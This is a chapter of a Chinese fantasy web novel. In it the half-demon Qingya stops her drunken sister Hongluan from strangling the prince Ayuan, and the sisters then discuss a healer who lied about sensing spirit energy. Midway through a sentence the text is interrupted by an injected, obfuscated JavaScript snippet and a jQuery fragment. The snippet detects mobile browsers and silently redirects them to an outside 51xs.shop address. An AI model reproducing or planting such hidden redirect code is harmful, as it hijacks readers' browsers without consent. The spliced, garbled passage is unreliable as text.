14. 采三秀兮于山间3
    妖天生有不同灵根,红鸾是火系灵根,因此能分辨不同火焰灵的特性,进而控制火焰,对其他物质中的灵则只有笼统的感知;青崖自己……说来沮丧,也不知是不是半妖的缘故,至今为止,她对金木水火土中所有物质的灵都只有笼统感知,更别提拥有哪方面的控制力了。

    像长山这样能分辨植物灵不同特性的,若是个妖,毫无疑问是木系灵根的妖,只不过未经修炼,仅能感受到灵气较强的仙草植物中的灵,感受不到普通植物中的灵。

    可长山分明是个人,他诉说身世时,没有一句假话。

    “人人都有这种感觉吗?”青崖故意装糊涂。

    长山黯然摇头:“到目前为止,我问过很多人,似乎只有我有这种感觉。一开始我还以为是错觉,但试着根据灵脉用仙草类植物给人治过几次病,发现药效奇好,我才确信这是真的。仙草类植物身上那种无形的东西到底是什么,我现在也不确定。”

    是灵气!

    这三个字几欲脱口而出,被青崖强行咽了回去。

    “对了,每个人的灵脉脉象也不同,号脉方法我还没能熟练掌握,总希望能多探探不同人的灵脉,”长山看向她,“我可以探探你的灵脉吗?”

    青崖身体后倾,捂住额头,果断道:“不可以。”

    一般妖之间互探眉心只能试探出灵力深浅,长山却还能靠探眉心给人治病,万一他也能根据眉心灵脉分辨出她是妖怎么办?

    “我从小就不喜欢让大夫看病。”青崖补充解释。

    长山随和地接受了这个说法,歉然道:“可以理解,是我唐突了。但若姑娘有什么不适需要医治时,最好不要因此排斥大夫把脉,免得耽误病情。”

    石洞中传出窸窸窣窣细微声响,也许是阿远醒来了。

    青崖忽略洞里的动静,问:“那你会在其他东西或人身上感到那种特别的无形之物吗?”

    比如妖类之间一靠近就能觉察到彼此身上的灵气萦绕,哪怕灵力低微觉察不到同类身上的灵气,至少也应当能觉察到附近灵流中的灵气。

    石洞中传来粗重的呼吸声,似乎是阿远呼吸不畅,不知是否又在头疼。

    “在别处感觉不到,”长山低头继续写字,“在人身上也是,除非诊眉心灵脉,否则感觉不到像仙草中蕴含那种特别的无形之物。”

    青崖心中一沉。

    长山说谎。

    她对语言与情绪的感应如同红鸾对火灵的感应一样精准,虽然不知依据是什么,但区分真假话从未出错,这是认识长山以来,长山第一次说谎。

    石洞中不断有杂乱的微小声音传出,青崖无暇理会。

    长山是能感觉到附近的灵流,还是能感觉到她和红鸾身上的灵?或许早已知道她和红鸾并非凡人?

    如果知道,那么长山初见她时明显诧异,再见红鸾那样一个深山老林中的绝世美人却平静无波的态度就完全说得通了。

    “救……啊……”石洞里传出阿远的虚弱气声,伴随一颗石子落地弹跳之声。

    阿远求救!

    这次青崖没法再忽视洞里从方才开始就不断传出的奇怪动静,不得不中断与长山的对话,一跃而起冲向石洞,裴浩也察觉有异,两人几乎同时奔至石洞之内,大惊失色地看到红鸾压在阿远身上,双手狠狠掐着阿远的脖子。

    红鸾的红裙将阿远大半个身子都遮住了,相比之下显得阿远更加消瘦,而红鸾则无比狰狞。阿远躺倒在地,被掐得脸色发青,手脚如溺水般胡乱扑腾。

    “姐姐!”

    “殿下!”

    青崖与裴浩一齐冲入洞里,一个抓住红鸾一个拖走阿远,总算在阿远气绝之前及时将他们分开。

    阿远脱困,惊魂未定地大口大口喘着粗气,脖子上一圈红痕醒目。

    红鸾如同瞪着世仇一般瞪着他,口中喃喃:“杀了你……杀了你……”

    裴浩把阿远护在身后,举剑直指红鸾,厉声质问:“你要做什么?!”但见红鸾眼神迷蒙,身形不稳,与平日状态全然不同,也察觉到红鸾不对劲,转问青崖:“青崖姑娘,令姐这是何意?”

    “抱歉,我姐姐不是故意的,她喝醉了有些神志不清,不知道自己在做什么。”青崖用发抖的手拉着红鸾,又惊又怕。

    红鸾以前也曾在外人面前喝醉过,但从来没有酒后伤人的行为,更不可能酒后杀人,想来是她低估了红鸾对皇室的恨意。

    可无论多么仇恨,妖都不能杀人。

    人在死亡瞬间产生的煞气,会对妖的灵根造成致命损伤,无论年轻小妖还是百年大妖都难以抵挡。方才那一幕,不仅阿远命悬一线,红鸾自己也命悬一线,要不是及时发现并阻止,一人一妖必定双双殒命。

    青崖吓得手脚发软,趁裴浩检查阿远时,半拖半抱带着红鸾离开现场。长山追着她们关切询问:“令姐怎么了,需要我帮忙看看吗?”

    “不用,”青崖不假思索地回绝,“姐姐只是醉酒后会偶尔失去理智,等酒醒,自然恢复正常,我先背她下山,隔天再来看望你们。”

    长山有什么特殊能力,知道些什么,现在都没空追究了。这种时候更不能让他给红鸾诊眉心灵脉,谁知道他会诊出什么结果?

    必须远离他们,带姐姐回家。

    ***

    红鸾果然又梦魇了。

    她躺在床上,周身灵力波动不安,弄得满屋烛火时明时灭,还点着了一些她珍爱的衣物、布料。青崖用自己的额头贴着姐姐发烫的额头,反复以灵识沟通安抚许久,才让姐姐恢复平静。

    以前父亲在时,是父亲安抚红鸾,后来发现由她安抚更有奇效。十几年来,红鸾经历上百次梦魇,都是她这样寸步不离地安抚陪伴。

    多次目睹姐姐梦魇,青崖很是费解,为什么明知酒后会梦魇,姐姐还总是喝酒?是不是也像阿远一样,中了某种毒?

    这次险些因酒闯下大祸,能不能趁此机会劝服红鸾姐姐以后不再喝酒?

    她守着红鸾,一夜未眠,把所有酒坛酒器都丢到了地窖里。

    第二日,红鸾酒醒,关于酒后做的事什么也不记得了。

    “我掐着阿远不放?”她语气恢复如常,轻飘飘地问。

    “是,你差点掐死阿远,我都不知怎么跟裴浩解释。”

    红鸾愣了一下,施施然坐到镜前拿起梳子梳头。

    “差点掐死,那就是没有掐死,他们几个人的命都是你救的,让我掐一掐脖

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13677810|144215||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    子怎么了。”

    “你如果掐死了人,你自己也会死!”青崖声音里无法控制地带出一丝哭腔。

    姐姐待外人冷漠,她早习以为常。只是,她长这么大,昨日第一次体验到险些失去姐姐的感觉。她与姐姐相依为命十几年,姐姐现在这样的态度仿佛丝毫不在意自己会因她离去而害怕,也不在意她险些酒后丧命。

    红鸾甚至带着调侃道:“你这么紧张,是担心阿远还是担心我?”

    “我当然是担心你!”青崖担惊受怕一整夜,忍无可忍喊叫出声,“你不在了我怎么办?我是个半妖,不能和人一起生活,也不能和妖一起生活,爹爹去世后,我就只有你了,你杀人的时候想过后果吗?还记得有我这个妹妹吗?”

    听到青崖有些抓狂的哭诉,红鸾梳头的动作顿住,从镜中看着妹妹,终是显出一抹愧色,放下梳子,转身拉起青崖的手:“好啦,我不该喝那么多酒,酒后失控,让你担心了。我真不是有意要杀那小皇子,酒后糊涂有时会不认人,你知道的。”

    青崖胸口发堵。

    母亲生下她不久就去世了,父亲因过于思念母亲,在她八岁时郁郁而终。如果她再失去姐姐,将没有任何陪伴,在空无一人的山谷中孤零零生活。她越想越怕,哽咽道:“你酒后糊涂也从没伤过我,可见不是完全不认人,还是因为讨厌皇子。你这么讨厌那个小皇子,讨厌人,那就让他们走,我不留他们了。明天送饭就告诉他们,让他们走。”

    红鸾意外道:“你舍得这么快就让他们走?”

    青崖道:“我舍不得他们,可我更舍不得你。”

    红鸾愧色更浓,把青崖拉进怀里轻拍后背。

    青崖在红鸾肩上趴了好一阵才觉得恐惧有所消散,开口道:“对了,还有一件事要告诉你,关于长山的。”

    她把长山能感受到仙草植物中的灵还有长山说谎的事讲了一遍,最后问道:“他这种表现是能感知植物灵吧?为什么他会有这样的能力?”

    红鸾思索着道:“我曾听过一些传闻,传说凡人中也有天生拥有灵根者,他们会在某方面能力特别突出,但也仅此而已,他们天生杂念过多,没法修炼,不能像妖一样吸收灵气或运转灵力。”

    “那他是不是也可以感觉到我们身上的灵?”

    “的确有这种可能。”

    “他为什么撒谎说感觉不到?”

    “东莱国人传言妖都是杀人吃人的怪物,说不定他怕我们这种怪物一失去伪装就杀人灭口,避免身份暴露,所以他就假装不知道,以保自身平安。”

    这个猜测合情合理。如果能再仔细问问就好了,就算他说谎,用自己的辨言天赋,从谎话中也可以推测出一些真相。

    青崖道:“他现在不知道我们已经知道他知道我们的身份了。”

    红鸾感觉有点头晕,“所以呢?”

    “所以如果彼此试探或套话,是我们占有优势呀。”青崖开心了一下,转瞬恢复失落,“哎,还试探什么,反正就要跟他们说再见了。”

    长山也好,阿远裴浩也好,没有机会再深入互相了解,更没有机会彼此坦诚,成为朋友。和所有曾经路过、短暂停留的人一样,他们终将离开,与自己再无交集。